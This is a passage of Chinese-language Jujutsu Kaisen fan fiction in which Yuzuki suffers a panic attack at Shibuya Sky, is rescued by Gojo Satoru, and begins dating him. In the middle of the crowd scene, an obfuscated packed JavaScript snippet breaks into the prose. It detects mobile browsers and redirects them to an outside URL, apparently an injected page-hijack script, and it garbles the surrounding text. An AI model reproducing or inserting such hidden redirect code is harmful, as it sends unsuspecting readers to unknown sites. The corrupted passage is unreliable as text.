sky。” 结月深吸了一口气,像是在给自己下某种决定。 “那里的日落很漂亮,对吧?我想去取点景,也许能找到新的画面灵感。” 她顿了顿,又补了一句,声音轻了下来: “……而且我也想知道,我到底在害怕什么。” 夏油杰没有立刻回答。 他垂着眼,用汤匙轻轻搅了搅已经快要喝完的白粥。瓷器相碰,发出一声很轻的声响。 然后,他抬起头。 “结月。” 这是他第一次在这段对话里,没有带任何笑意地叫她的名字。 她下意识抬头。 “涉谷不行。” 他的语气依旧温和,却比刚才低了一度,“新宿也不行。” 不是商量。 也不是询问。 结月微微一愣。 “欸……?”她下意识想笑,“这么严肃干嘛?我只是——” “你刚才说的话,我听见了。” 夏油杰平静地打断了她。 他看着她,视线很稳。 “你不是去采景的。” 结月张了张嘴,却没能立刻反驳。 因为他说得太准了。 “结月酱。” 夏油杰的语气放缓了一些,却带上了难得的认真,“现在的你,不适合一个人去那些地方。” 不是指责。 而是一种近乎保护性的判断。 她低下头,指尖无意识地摩挲着吐司边缘,沉默了几秒,才轻声开口: “……可是一直躲着,也解决不了问题吧。” “能解决的。” 夏油杰回答得很快,“至少现在可以。” 他顿了顿,像是在斟酌措辞。 “有些东西,不是非要一个人面对的。” 结月没有立刻回应。 她只是轻轻笑了一下,笑意却没到眼底。 “那这样吧。” 她抬起头,语气忽然变得轻快起来,像是在退让,“我不去涉谷,也不去新宿。” 夏油杰微微一怔。 “真的?” “真的啦。” 她眨了眨眼,笑得一如往常,“我保证。” 她举起右手,像是做了个很敷衍、却看起来很认真的发誓动作。 “绝对不会一个人去涉谷或者新宿。” 这句话说出口的时候,她的语调自然得几乎没有破绽。 她很清楚—— 自己刚才说的那句“我保证”,并不是谎言。 那一刻,她确实是想遵守的。 可有些地方,一旦在心里被点亮过,就再也无法假装它不存在。 她走到窗边,拉开手机。 地图界面上,“涉谷”两个字安静地躺在那里。 像是在等待。 她低声对自己说: “……只是去看一眼。” 仿佛这样,就不算违约。 *** 从踏上开往涉谷站的副都心线那一刻开始,朝日奈结月已经后悔了。 她像是有什么创伤性应激障碍一样。 越是靠近涉谷站,应激反应越是严重。 ——那是让她感到万分陌生的、从未有过的……悲伤。 这个词似乎也不够准确。‘悲伤’这个词有些太浅。 当她随着人头攒动的潮流被到站的地铁挤出门外,真真切切地站在了她一直一直试图去避免的涉谷站台上时,有什么过于汹涌的情绪像忽然倾盆的大雨,将她兜头淹没。 悲伤?无助?绝望?好像都不够准确。 心痛的感觉却是真的。 对,就是生理字面上的那种心绞痛。仿佛胸膛里的那一整颗心脏都被一只手紧紧地拉扯着、挤压着、用力的将她那干涸许久的泪腺挤压出了触感陌生的泪水。 她竟然开始幻听有个少年在她耳边带着笑戏谑地说:“喂,你是哭了吗?” 她在情绪彻底失控以前深呼吸,打开手机地图,跟着人群上了二楼,穿过天桥长廊,抵达了涉谷Scramble Square——涉谷Sky就在这栋楼的最高层。 检票的队伍很长。 本来人多的地方就会让她烦躁。等待的时间有些漫长了。那种快要失控的心悸感越发强烈了—— 不只是悲伤。 朝日奈觉得自己的心里头关着一头怪物。被绝望和愤怒滋养的、想要把全世界都点燃、把眼前所有一切都撕毁的怪物。然后那个奇怪的毫无理由的念头,像失控分裂的癌细胞一样迅速繁殖占据了她的每一寸脑神经—— ‘凭什么不该死的人死了,该死的人还好好地活着?’ ‘去死去死去死都去死’ ‘全·部都该死!去死啊——!!!’ 那股铺天盖地席卷而来的毁灭欲几乎要把她的理智撕碎了。她用尽全身的力气才能控制着自己不失控,攥紧了拳头指甲也嵌进了肉里,血滴滴答答地淌下来,温热粘稠的触感却让她越发濒临失控。 相亲对象的LINE就这样恰好地传来。 五条悟:【好无聊哦。】 五条悟:【[让我看看你在做什么.jpg]】 她像是一瞬间从光怪陆离的梦境里被拉回到了真实的时空。 从来没有如此迫切的回过一个人的信息。 从来没有。 她用颤抖着指尖,在旁人看来简直莫名奇妙的快要热泪盈眶的表情,深呼吸着回了他的短信。 【さとる】 她就这样下意识的,先是没有任何后缀的打出来了他的名字。 然后本来不该说的下一句话就这样被她手比脑子快的敲了出来,按下了发送—— 【这句话真的很奇怪。很不合时宜。但是,没有原因的,在这里,我忽然想你了。】 很奇怪的感觉。 忽然很想念一个人。 ——然后在这一瞬间,她恍然大悟。 不是悲伤。不是绝望。 不只是悲伤。不只是绝望。 是想念啊。 太用力的想念一个人,心真的会疼。 短信那边他的语气忽然就变了。 没有了表情包,也没有了标点符号,单刀直入。 【你在哪】 她在登上电梯前随手拍了张背景照给他:【在准备看据说是东京最美的日落】 *** 电梯上升时,她先感觉到的是耳鸣。 不是突兀的,而是像一根细线,在耳后被缓慢拉紧。透明舱壁外的高度不断叠加,涉谷的轮廓被压缩、拉远,视野却异常清晰。 失重感在电梯即将停下的瞬间被放大。 那一刻,她的胃部轻轻一沉。 下一秒,嗡鸣骤然贴近了脑内。 不是疼,也不是晕。 而是一种方向感被抽空的感觉——像是身体还在原地,意识却被拽走了一小段。 她皱了下眉,下意识按住耳侧。 “没事的,只是气压变化。” 她这样对自己说。 电梯门打开。她机械地跟着兴奋的人群,走过安检,推开了通往露天长廊的旋转玻璃门。 夜风迎面而来,涉谷 Sky 的露天平台豁然展开。东京的天际线在脚下铺陈,日落正在燃烧着云层—— 像是鲜血点燃了火焰,再灼烧了天空,那样壮丽而惨烈的颜色,东京的日落。 她机械地登上扶梯,寻找着离日落最近的观赏位。 密密麻麻的人群在她走过的地方如同摩西分海般一分而过,路人的目光几乎是条件反射般地落在她身上—— 在几近燃烧的天空下,朝日奈结月这种仿佛日出就消融的新雪一样的漂亮女人,比往常还要惹眼。那张光艳动人的柔美面孔,因着她那仿若梦游般脆弱的神情,而显得格外动人。 有人多看了一眼,便再也移不开视线。 有人低声和同伴说了句什么,几个人一起朝她看了过来。 甚至已经有人开始调整角度,假装拍风景,镜头却始终没离开她。 她却完全没注意到这些。 嗡鸣还在。 胸口开始发紧。 那不是疼痛,而是一种无法解释的压迫感,像是情绪被强行挤进一个过小的容器里,开始溢出。 她的呼吸变得不自觉地加快。 很浅。 很乱。 她退了一步。 脚下的触感却忽然失真。 世界在那一瞬间倾斜了。 她甚至来不及反应,膝盖已经重重砸在地面,冲击从骨骼一路窜上脊背。身体不受控制地前倾,呼吸彻底乱成碎片。 “……诶?” “她怎么了?” 声音从四面八方涌来。 她低着头,视野被发丝遮住,只能看到地面模糊的灯影。胸腔剧烈起伏,像是被迫进行一场不属于自己的急救。 最先靠近的,不是工作人员。 而是人。 脚步声太近了。 “小姐,你没事吧?” “要不要我扶你去那边坐一下?” 有人蹲了下来。 语气温和,却靠得太近,影子压在她身上,让她几乎无法呼吸。 她想躲。 却连抬手的力气都没有。 另一只手递来水瓶,瓶口几乎要碰到她的嘴唇。 “喝点水会不会好一点?” “脸色真的很差诶。” 更多的视线落了下来。 探究的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232905|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评估的。 甚至带着不加掩饰的兴趣。 她听见快门声。 不是拍风景。 有人站在不远处,低声笑了一下:“这么漂亮……突然这样,还挺吓人的。” 那句话像一根针。 她的意识在那一刻,彻底崩塌。 不是情绪爆发。 而是某种深埋的东西被强行掀开。 没有画面。 没有记忆。 只有一种铺天盖地的情绪,毫无逻辑地席卷而来—— 强烈的绝望。 被留下的感觉。 以及一种近乎本能的、自毁般的排斥。 【我又该如何在没有你和他的世界里独活】 ——这种巨大的孤独和痛苦迸涌而出,一瞬间让她的世界地动山摇。 她的身体开始发抖。 呼吸声变得尖锐,像是下一秒就会彻底断裂。 而越发密集的向她涌来的、像恶心的令人发疯的蝗虫般的人群更是让她那根本就快要断裂的神经愈发濒临崩溃。 那头住在身体里的怪物张牙舞爪的叫嚣着,迫不及待的想要冲破桎梏—— 然后去毁灭。去破坏。去撕毁。 如果日落是一场火焰。 她要把世界都点燃。 那么,大·家·一·起·去·死·了·好·了—— 人群的声音像潮水一样涌来,黏稠地包裹住她的听觉。 “真的没事吗?要不要叫救护车?” “看着好难受……是心脏病吗?” “哎呀,这么漂亮的女孩子一个人出来,太危险了。” “不会是嗑了什么吧?你看她抖得好厉害。” “别瞎说,可能就是低血糖。” “拍下来发SNS上问问有没有人认识?” 快门声又响了几下,伴随着压低的笑声:“这种反差感……挺带劲的。” 每一句话都像一根细针,扎进她紧绷的神经。 她死死咬着下唇,血腥味在口中漫开。指甲无意识地抠着冰冷的地面,发出细微却刺耳的刮擦声。指尖传来钝痛,但她感觉不到——那股想要毁灭一切的暴戾情绪,正顺着脊椎往上爬,几乎要冲破她的喉咙。 视野开始出现黑色的噪点。 在那些噪点之中,破碎的画面一闪而过: ——血。很多的血。 ——一双冰冷的手,抚过她的额头。 ——某个人的背影,决绝地走向一片深不见底的黑暗。 ——还有笑声。很多人的笑声。尖锐的、嘲弄的、将她围在中间的笑声。 “让开点,给我也看看。” “喂,小姐,听得见吗?说句话啊?” 一只陌生的手试探性地伸过来,想要碰她的肩膀。 就是那个瞬间。 朝日奈结月听见自己脑子里,某根弦—— 崩断了。 怪物睁开了眼睛。 她猛地抬起头。 眼眶通红,泪水早已失控地爬了满脸,可那双眼睛里没有任何软弱,只有一种近乎兽类的、冰冷的疯狂。喉咙里挤出不成调的气音,像是警告,又像是濒死前的嘶鸣。 围得最近的那个人被她的眼神吓到,下意识后退了半步。 但更多的人围了上来。好奇的、窥探的、举着手机的镜头像一只只没有温度的眼睛。 “瞪人了!果然不对劲吧?” “工作人员呢?快过来啊!” “该不会是精神方面……” 话语像冰冷的雨水,劈头盖脸地砸下来。 她的指尖更深地抠进地面,坚硬的石材边缘磨破了皮肤,温热的液体渗出来,在浅色的地面上留下断续的暗红痕迹。十指连心,那疼痛却奇异地将她从彻底崩解的边缘拉回了一丝清明。 不行。 不能在这里。 不可以…… 她闭上眼睛,用尽全身力气对抗着体内那头咆哮的怪物。身体抖得像风中的落叶,冷汗浸透了后背的衣衫。 就在她以为自己即将被这无尽的嘈杂和自身的黑暗彻底吞噬时—— 所有的声音,忽然消失了。 不,不是消失。 是被某种更庞大、更绝对的存在,强行抹去了。 仿佛有人按下了世界的静音键。 紧接着,笼罩在她身上的、那些令人窒息的影子,也像被一只无形的手蛮横地拨开。 光线重新落在她蜷缩的身体上。 一阵微凉的风掠过她汗湿的额发。 然后,她听见一个声音。 熟悉的,带着一点刻意拉长的、不耐烦的尾音,却又比任何时候都要低沉,像是暴风雨前压低的云层。 “让开。” 只是一个音节。 围拢的人群却像被无形的冲击波撞开,惊呼着向两侧踉跄退去。 朝日奈结月颤抖着,极其缓慢地,抬起头。 模糊的泪眼中,首先映入的是一双看起来就很昂贵的男士漆面尖头皮鞋。 然后是修长的腿,有些眼熟的深色制服外套,以及——一只向她伸来的、骨节分明的手。 “真是的,一不看着就变成这样。” 话音未落,他已经蹲下身来。 动作干脆,没有犹豫。 一只手稳稳扣住她还在渗血的手腕,力道恰到好处,既阻止了她继续伤害自己,又不给她挣扎的空间。 下一秒,他直接将她拽进了怀里。 不是搀扶。 而是收走。 手臂收紧的瞬间,视线、声音、空气,全都被隔绝在外。她的额头抵上他的胸口,呼吸被迫贴近另一道平稳而有力的节奏。 世界终于不再晃动。 他这才站起身,漫不经心地抬起另一只手,朝四周的人群随意挥了挥。 动作敷衍得近乎敷衍。 语气却轻佻得毫不走心—— “散啦散啦。” “我女朋友低血糖而已。” 尽管明眼人都看得出来低血糖分明不是她这个症状。 可也许是他身高自带的压迫感,比周围所有人都要高出来一头还不止的男人漫不经心环视一圈,便让所有还想靠近的目光都停住了。 他一手抱着她一手揣在兜里居高临下的样子,就算唇角带着冷淡敷衍的笑意,也莫名让人不敢直视。 有人悻悻地移开视线,有人低声嘟囔着退开,举着手机的人像是忽然意识到什么,纷纷把镜头放了下来。 工作人员这才回过神来,连忙上前疏导人群。 很快,原本密不透风的包围圈,被一点点清空。 像退潮。 而她,被牢牢地留在了他怀里。 那一刻,朝日奈结月清楚地感觉到—— 自己世界的坍塌,终于被他随手按停了。 23.第 23 章 车门关上的声音很轻。 却像是把刚才那一整片嘈杂,一刀切断。 朝日奈结月被他抱进车里的时候,手脚还是软的。她甚至没看清自己是怎么被放进后座的——只记得皮革座椅的冰冷触感贴上后背,下一秒,车门合上,空气骤然安静下来,耳边传来安全带扣上的“咔哒”一声。 伊地知的手握着方向盘,指节发白,连呼吸都刻意放轻。他没敢回头,甚至连引擎都小心翼翼的熄了火,生怕多一点噪音,就会引爆什么。 结月侧过头。 五条悟就坐在她旁边。 ——他是生气了吗? 无法分辨。 那双因为过于璀璨凝视久了会被刺痛的苍蓝色眼眸,此刻被那该死的黑色眼罩隔绝的彻底。 漆黑的布料遮住了他的眼睛,把所有危险的情绪都封存在里面——只剩下下半张脸的线条,冷得干净利落。 他没有露出以往常见的悠闲笑意。 也没有开口和她说哪怕一个字。 他甚至没有像平时那样,用懒洋洋的语气问一句“吓到了?”或者“低血糖小姐怎么又乱来”。 什么都没有。 这种沉默比任何责备都要重。 结月吞咽了一下,喉咙发紧。她想开口,却又不知道该从哪一句开始——“对不起又麻烦你了”太轻,“我真的没事”太假,“我也不知道发生了什么”听上去更像借口。 她的指尖还在发抖。血迹已经干了一点,却仍黏在皮肤上,像某种不该存在的证据。 也许是因为刚才情绪太过失控,太过用力了——指甲盖都掀开了,尖锐的疼痛密密麻麻地窜涌,她分出来一半被疼痛占据的神经努力去解析他的神情。 ——可是什么都无法解析出来。 他的脸上是什么表情都没有的漠然。在他沉默的时候,会更有种令人心惊的冷酷。 车里只剩下呼吸声。 还有她过快的心跳。 过了不知道多久,五条悟终于动了。 他像突然想起了什么似的,慢悠悠抬起手,指尖探进外套内侧,摸出皮夹。 “呐,伊地知——” 那声称呼被他拖得很长,轻得像随口一叫,却让前排的人背脊瞬间绷紧。 下一秒,一张一万円被他从指间“啪”地弹了出去,轻飘飘落在中控台上,像是随手扔了张纸。 “去买点吃的吧。” 他的语气懒洋洋的,“顺便散个步。” 伊地知愣了一下,从后视镜里小心翼翼地确认后座的气氛,才磕磕绊绊开口:“啊?可、可是我刚刚已经——” “嗯嗯。” 五条悟像是在听,也像是根本没听见,尾音带着一点敷衍的笑意,“那就再吃一点。” 他偏了偏头,眼罩对着前方,姿态散漫得近乎随意。 然后,他轻轻补上一句: “花不完不许回来哦。” 那声“哦”落得轻飘飘的,像玩笑,又像某种不讲理的威胁。 伊地知:“……” 下一秒,他已经以一种过于熟练的速度解开安全带,声音都发虚了:“好、好的!!那我去、去买点东西!” 车门打开,又关上。 脚步声匆匆远去,像逃命。 后座彻底只剩下他们两个人。 空气像被抽走了氧。 结月终于忍不住,轻声叫他:“悟……” 五条悟没有回应。 他只是伸手,握住了她的手腕。 力道不重。 却稳得让她一瞬间动弹不得——像是怕她再用力攥紧,怕她再把自己弄得血肉模糊,也像是怕她下一秒又从他手里滑走。 “手。” 他只说了一个字。 结月怔了怔,下意识想抽回去:“没、没关系的……” “别动。” 这一句比刚才更短。 更冷。 她的动作停住了。 五条悟从座椅旁的小包里取出消毒棉和绷带——动作熟练得像做过无数次。他把东西放在两人之间的空隙里,指尖碰到塑料包装发出细微声响。 然后,他捏住她指尖。 抬起来。 灯光落在那一圈被指甲划破的伤口上,暗红的血迹沿着指腹的纹理凝住,像一条条细小的裂缝。 五条悟的动作停了一瞬。 很短。 短到像错觉。 下一秒,消毒棉按了上来。 刺痛让结月倒抽了一口气:“嘶——” 他的手指在那一秒明显收紧。 不是温柔的放轻。 而是像压住什么——压住自己要说出口的东西,压住一瞬间涌上来的暴躁。 他继续包扎。 一圈、两圈。 绷带收紧的力度恰到好处,像在给她的失控重新上锁。 于是刚才所有洪水决堤般快要将她溺毙的情绪,就这样一点点地蒸发了。 她甚至无法记得自己究竟是为什么会失控了。不过PTSD的症状本来就是这样吧?加上她又失忆了。 “今天又麻烦你啦。”她深呼吸,努力压下疼痛,用着故作轻松的语气开口:“本来是想采景涉谷日落的。这下可好了呢,短期内画笔都握不了啦。” 他还是沉默着,包扎进行到了第二只手的无名指。 好吧好吧。毕竟他又一次像她命中注定的男主角一样,把她从水深火热之中救了出来。他不想说话,她就多说几句吧。 “可能是因为今天早饭没有怎么吃,所以又低血糖了,真的是——” 她的话被他近乎冷酷无礼的打断,语调却很轻。 “低血糖?” 然后,五条悟冷淡的低笑出声。 “结月酱。” 那声称呼落得很慢,很随意:“我刚才帮你用过的借口诶。太敷衍了吧?” 她怔愣住,被他这样轻描淡写的拆穿,但是她还没来得及想好下一句说辞。 因为…… 她真的不知道在自己身上发生了什么。 很奇怪啊。真的超级奇怪好不好。 这可是被称呼为‘世界最繁忙十字路口’的涉谷啊,有着特别好逛的涉谷109和Parco,有着东京最美的夜景机位,是无数游客争先恐后打开的东京核心区,她到底有什么可PTSD的啊? 到底是在PTSD什么啊。 她更不明白为什么,在这里,她会格外的想念他。 这种想念来的毫无预兆,蛮不讲理。 但是这些情绪都太复杂了。太莫名其妙了。她真的不知道该从哪里开始说起。 “我觉得……我应该是有着特定区域的人群密集恐惧症。” 结月斟酌着用词,绞尽脑汁,将今天的一切异常和失控都归咎于一个最合理的、最正常的原因。 “特·定·区·域,人·群·密·集·恐·惧·症?” 他一字一顿地重复了一遍她最后的解释,语调依旧听不出来情绪起伏。 她刚想下意识抬起手抓一抓头发,这是她烦恼时的小动作,却一下子被他眼疾手快的一把抓住。 ……好吧,忘记了自己现在是个手残伤员,不能乱动。 她叹气,老老实实的交代了一部分的真相:“主要是涉谷和新宿这两个地方啦。” “毕竟是东京最大的枢纽嘛,人群总是比什么代官山呀银座要多,所以对这两个地方我尤其格外的……” 她的声音在他的视线下渐渐低了下去。 ——他在看她。 ——认真的、一眨不眨地睇视她。 不需要掀开他的眼罩确认什么。 他的视线存在感着实太强了。 她几乎能想象出来那双俯望着她的眼睛此刻的情绪。 像变幻莫测的天空,冰冷凝滞的云层下是热烈燃烧的日落。 ——然后他忽然笑了。 不是那种会让她头皮发麻的、冰冷敷衍的笑。 而是让她多看一眼都会心跳加速的,他所惯常的,漂亮散漫的笑意。 仿佛刚才绷紧到快要窒息的气氛只是她神经敏感的错觉。 他也竟然没有再追问了。 甚至像是真的、姑且、随便地相信了她那套“特定区域人群密集恐惧症”的说辞一样。 “哦——这样啊。” 五条悟拖长尾音,像听了个无关紧要的小八卦,“原来结月酱怕人多。” 他把消毒棉随手丢回小包里,拉上拉链,“那就别去了嘛。去代官山。去银座。去那种——”他偏头想了想,语气懒散,“人少、又适合散心的地方啦。” ……太轻了。 轻得像他刚才在露台上把人群“散啦散啦”一样轻。 结月怔怔地看着他,心里那股紧绷反而更紧了—— 他越若无其事,越像是把什么东西压得更深。 “你、你就这样信了?”她忍不住问。 “嗯?” 五条悟像才想起她似的,懒洋洋“看”过来——眼罩遮着,偏偏存在感更强。 “我又不是医生啦。”他若无其事双手一摊,语气理所当然,“你说什么就是什么嘛。” 这句话明明是在放她一马, 却又欠得让人更心虚。 和刚才冷着脸的态度简直判若两人。 结月咬了咬唇,小声嘟囔:“……那你刚才干嘛那么生气。” “有吗?” 五条悟轻飘飘反问,嘴角似笑非笑,“我只是觉得——你真的很会给我找麻烦诶。” 他把她包好的手放回她腿上,动作很随意,像顺手把危险收起来。 然后,话题像真要结束了一样,他伸手去摸手机。 “对了。” 他忽然开口。 结月心口一跳:“……嗯?” 五条悟低头划了两下屏幕,像是在确认什么,语气还是那种漫不经心的轻: “你刚才给我发的那句。” 他停顿了一下,像随口一提。 “——‘在这里,我忽然想你了’。” 结月:“……” 空气瞬间变了。 她整个人像被抓住后颈的小动物,想装死都装不下去。 “你、你不是看到了吗。”她硬着头皮,试图把话说得正常一点,“就是……人多嘛,我有点不舒服,所以——” “所以就想我?” 五条悟打断得很快,语气轻轻的,“结月酱,你这个逻辑也太跳了吧。” 他终于低下头。 眼罩对着她。 明明看不见眼睛,她却清晰地感觉到——他在盯她。 “而且你还叫我‘さとる’。” 他像是笑了一下,尾音又坏又黏,“没有后缀的那种。” 结月的耳尖一下子热起来:“……那、那是我手抖。” “哦——手抖。” 五条悟点点头,像真的在认真记录她的症状,“那你刚才那句也手抖?” 结月被他问得说不出话。 她的心跳又开始乱。 不是刚才那种恐惧的乱, 而是……更麻烦的那种。 “我、我只是——”她试图解释,却越解释越薄,“就是突然想起你在打字,又不是——” “那不是喜欢我吗?” 五条悟语气很轻。 轻得像是在开玩笑。 可那句话落下来的一瞬间,车厢里 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他抽回手,懒洋洋往后靠着座椅,一瞬间又恢复到那种冷淡敷衍的样子,双手抱臂居高临下地低头俯望她,唇角的笑又冷又浅:“反正结月酱也不缺相亲对象嘛。” “今天就到这里也行。” 他甚至偏了偏头,像是真的在给她方便。 “要下车的话——随你。” 话是这么说。 可他的人,依旧稳稳地坐在那里。 像是早就知道,她不会走。 结月的心却在那一瞬间狠狠沉了下去。 不是因为被赶。 而是因为—— 他真的把“走”这个选项,交给了她。 她几乎是本能地伸手,抓住了他的袖口。 动作一牵,伤口传来刺痛。 “嘶——” 她下意识吸了口气,却还是没松手。 “……你别这样。” 声音很轻。 却是她此刻最真实的反应。 五条悟的动作顿了一下。 很短。 短到像是他早就预料到这一幕,只是在等。 他没有立刻回头。 只是低低笑了一声。 “诶?” 语气甚至有点无辜。 “朝日奈小姐这是在干嘛。” 他说着,却终于转过脸来。 “我们现在是这种——可以拉着不放的关系了吗?” 结月怔住。 “…不可以吗?” 她声音乱得不像自己。 “你不是……相亲对象吗。” “相亲对象啊。” 五条悟慢悠悠地重复了一遍。 然后,他伸手,覆住她抓着他袖口的那只手。 这一次,没有抽走。 力道稳而克制。 “相亲对象,不负责这种程度。” 他说。 “相亲对象——” 他微微低下头,靠近了一点。 “也不该被这位人群密集恐惧症小姐,搞得心情超——差诶。月会开到一半就过来了哦,我也是很忙的诶。” 结月:“……” 她想反驳,却发现反驳不了。 “我……” 她低声开口,声音却有点乱,“我不是不想你。” 她自己都被这句话吓了一下。 空气静了一瞬。 “只是……” 她停顿了一下,像是在努力把话说清楚,“我有点搞不清楚,你到底是站在什么位置看我的。” 这一次,她没有躲。 她抬起头,看向他。 “如果你只是觉得好玩,或者只是因为相亲对象刚好是我——” 她咬了咬唇。 “那我会更不知所措。” 这句话说出口的时候,她的语气并不强硬。 反而有点笨拙。 像是把自己的不安摊开来给他看。 五条悟没有立刻说话。 他看着她。 不是那种带着审视的目光。 而是很安静地看。 “……原来是在纠结这个啊。” 他轻轻笑了一声。 “结月,你真的很会往麻烦的方向想诶。” 他说着,却伸手覆住了她抓着他袖口的那只手。 这一次,没有抽走。 “如果我只是觉得好玩。” 他语气懒洋洋的,“我今天就不会来得这么快。” 这句话落下来的瞬间,结月的呼吸一滞。 “而且。” 他低下头,靠得比刚才更近了一点。 “我也没打算当什么‘相亲对象’啦。” 结月怔住:“那你——” “所以我才问你啊。” 五条悟歪了歪头,语气又恢复成那种欠得要命的轻松。 “现在算交往吗?” 不是请求。 更像是在确认一件他已经决定要继续的事。 结月的心跳彻底乱了。 她看着他,过了好一会儿,才小声开口: “……你不是一直,都在装作我们在交往吗?” 五条悟笑了。 那种笑很轻。 却像终于等到她踩出那一步。 “装得太久了。” 他说。 “差不多该转正了吧。” 24.第 24 章 ——转正? 这个词在脑子里转了一圈,才慢半拍的落下来。 朝日奈结月后知后觉意识到一件事情。 自从认识他那天以后,他就像是某种强势入侵且无药可解的病毒,蛮横霸道的侵占着她的每一根神经,感染着她所有的情绪。 看见他的短信会开心。 看见他本人出现在她面前……会更开心。 像初春沛然而降的一场潮湿的雨,突然而来,无处可躲,她被这份柔软而湿漉漉的情绪彻底地浸透。 于是好不容易逛完了整整14层涉谷Scramble Square,掐着点觉得自己晃悠够了时间,筋疲力尽回来的辅助监督拉开车门听见的第一句话就是:“那我们……先试试吧。试试在一起。” 伊地知一只脚才刚跨进来,原地一脸菜色地退了出去,手一抖,‘砰’的甩上车门。 涨工资!必须要涨工资!! 车门被甩上的声音还在逼仄安静的空间里回荡。 再之后,空气短暂地、彻底地安静了下来了一分钟。 五条悟没有立刻说话。 他甚至没有马上转过头来。 像是那句“试试在一起”并不是什么需要立刻回应的大事,而只是被他顺手收进了某个早就准备好的位置。 然后,他轻轻“哦”了一声。 语气很轻。 轻得不像惊讶,更不像欣喜。 漫不经心的,听不出情绪的那般琢磨不透。 “试试啊。” 他慢悠悠地重复了一遍,尾音拖得很长,像在咀嚼这个词本身的重量。 结月的心跳一下子乱了。 她忽然有点后悔自己说得太直接。 也许该更委婉一点? 也许该多铺垫几句? 至少不该在这种时候—— “那可不行哦。” 五条悟忽然开口。 结月一怔,下意识抬头:“……诶?” 他这才转过脸来。 眼罩依旧遮着那双眼睛,可唇角却带着她很熟悉的、那种漫不经心的、逗弄他似得戏谑弧度。 “‘试试’这种说法,”他语气轻快得近乎随意:“听起来好像我是什么备用选项一样诶。” 结月一下子被噎住:“我不是这个意思!” “我知道啦。”五条悟打断得很快,语调却一点也不急,反而带着点纵容。 “只是——” 他偏了偏头,像是在认真思考一个很重要的问题,“既然要试的话,是不是该认真一点?” 他伸出手。 不是去拉她。 而是极其自然地、把她那只已经被包扎好的手托了起来。 指腹隔着绷带,落在她的掌心。 很稳。 很克制。 却不容她抽走。 “比如说。” 他语气依旧轻描淡写,“从现在开始,你再说‘想我了’,我就会当成是男朋友专属权限。” 结月的耳尖瞬间烧了起来:“你、你怎么还提这个!” “因为我很在意啊。” 他说得理直气壮,像是在陈述某个再正常不过的事实。 “被你一句话叫出来,又被你一句话推回去——” 他顿了顿,似笑非笑地低头俯望她:“之前说过了吧,结月酱不会真的以为,我是什么脾气很好的人吧?” “不过——” 他抬手,修长的手指漫不经心地勾住眼罩边缘,像是嫌它碍事。 黑色的布料被掀起一角,那双夺人心魄的苍蓝色眼睛就这样暴露在她的视线里,冷亮、璀璨,带着一点漫不经心的笑意—— 漂亮得像冰冷燃烧的焰火,那双俯望她的眼睛,有种格外残酷的温柔。 他微微俯身,拉近距离,近到她能清楚地感受到那股无形的压迫贴着皮肤碾过来。 声音却被刻意放低了。 “现在反悔的话——” 他顿了一下,尾音拖得极轻,像是故意给她留下空隙。 “还来得及哦。” 结月的呼吸停了一拍。 她看着他。 这个人面无表情的时候似乎站在那里就足够危险,刚才还冷得像随时会越界的存在。 可此刻,却偏偏停住了。 没有伸手。 没有逼近。 甚至没有再多说一句。 他只是看着她,耐心地等着。 像是在确认—— 她会不会主动踏进来。 “……我没有反悔。”她的声音很轻,却没有躲开他的视线。 五条悟笑了。 身高至少190往上的这么高大的一个男人就这么懒洋洋地往她身上一靠,长臂一伸自顾自将她圈在怀里,下巴蹭着她的脖颈:“那以后就多多指教啦,女朋友酱。” 于是她刚才还来不及说出口的那句‘可是我还不够了解你’就这样被她硬生生咽了下去。 像咽下了一颗来不及嚼碎的过分甜腻的糖果。 “……会不会有点太草率了。” 他温热的鼻息搔挠着她颈侧细腻敏感的肌肤。还有他的睫毛。长长的落雪似的睫毛,随着他每一次懒洋洋的眨眼,都会激起她一阵麻意。 她红着脸,故作一本正经地问他。 “哪有。”他理直气壮:“相亲对象本来进度就和普通情侣不一样嘛。” 于是又‘散步一圈’的伊地知第二次回来看见的就是现代最强咒术师·五条家主一副大鸟依人的模样抱着朝日奈小姐。 朝日奈小姐脸红的像微醺了似得,一脸不知所措地正襟危坐着。 “五、五条先生!” 伊地知的声音几乎是用尽了毕生职业道德挤出来的,语气悲壮又坚定。 “不可以强迫朝日奈小姐!” 空气静了一瞬。 结月整个人僵住,脸“轰”地一下烧得更厉害了,下意识想要解释:“不、不是——” 话还没说出口,身后那道原本懒洋洋贴着她的重量却先一步动了。 五条悟轻轻“啊”了一声。 像是才察觉到伊地知回来了,车里还有第三个人。 他没有立刻松手。只是微微偏过头,苍蓝色的眼睛隔着一点距离落在伊地知身上,眨了一下。 “诶?” 语气甚至有点无辜。 “你在说什么啊,伊地知。” 他慢吞吞地开口,声音散漫得要命:“我看起来像是那种会强迫别人的人吗?” 伊地知:“……” 您刚刚把人圈在怀里,下巴还贴在人家脖子上啊!! 但这句话,伊地知一个字都不敢说。 五条悟这才像是终于意识到什么似的,稍微松了松手臂,却并没有完全退开。 他低头看了一眼结月,不是询问,而是一种极其自然的确认。 “我有强迫你吗?” 结月整个人都快熟透了,被他这么一问,脑子直接短路,只能小幅度地摇了摇头。 “…没、没有。” 她声音小得几乎听不见。 五条悟这才满意了。 他重新抬起头,看向伊地知,语气轻快得像是在宣布一件再普通不过的事。 “听到了吧。” 他说。 “是自愿的。” 伊地知:“……” 世界观正在崩塌中。 “而且啊。” 五条悟像是忽然想起什么,又补了一句,嘴角勾起一点坏心眼的笑意。 “我们已经转正了。” 伊地知的大脑“啪”地一声,彻底宕机。 “…转、转正?” “嗯哼。” 五条悟应得理直气壮,甚至还低头看了结月一眼,语气黏糊糊地确认:“对吧,女朋友?” 结月:“……” 她的心脏直接漏跳了一拍。 “你、你不要现在问这个!”她小声抗议,整个人都快埋进座椅里了。 “诶——不行吗?” 五条悟故意拖长语调,像是被她这点反应取悦到了,笑意在眼底一闪而过。 “虽然是转正了没错,但是——” “听到了吧,伊地知?我现在可是名正言顺的诶~” 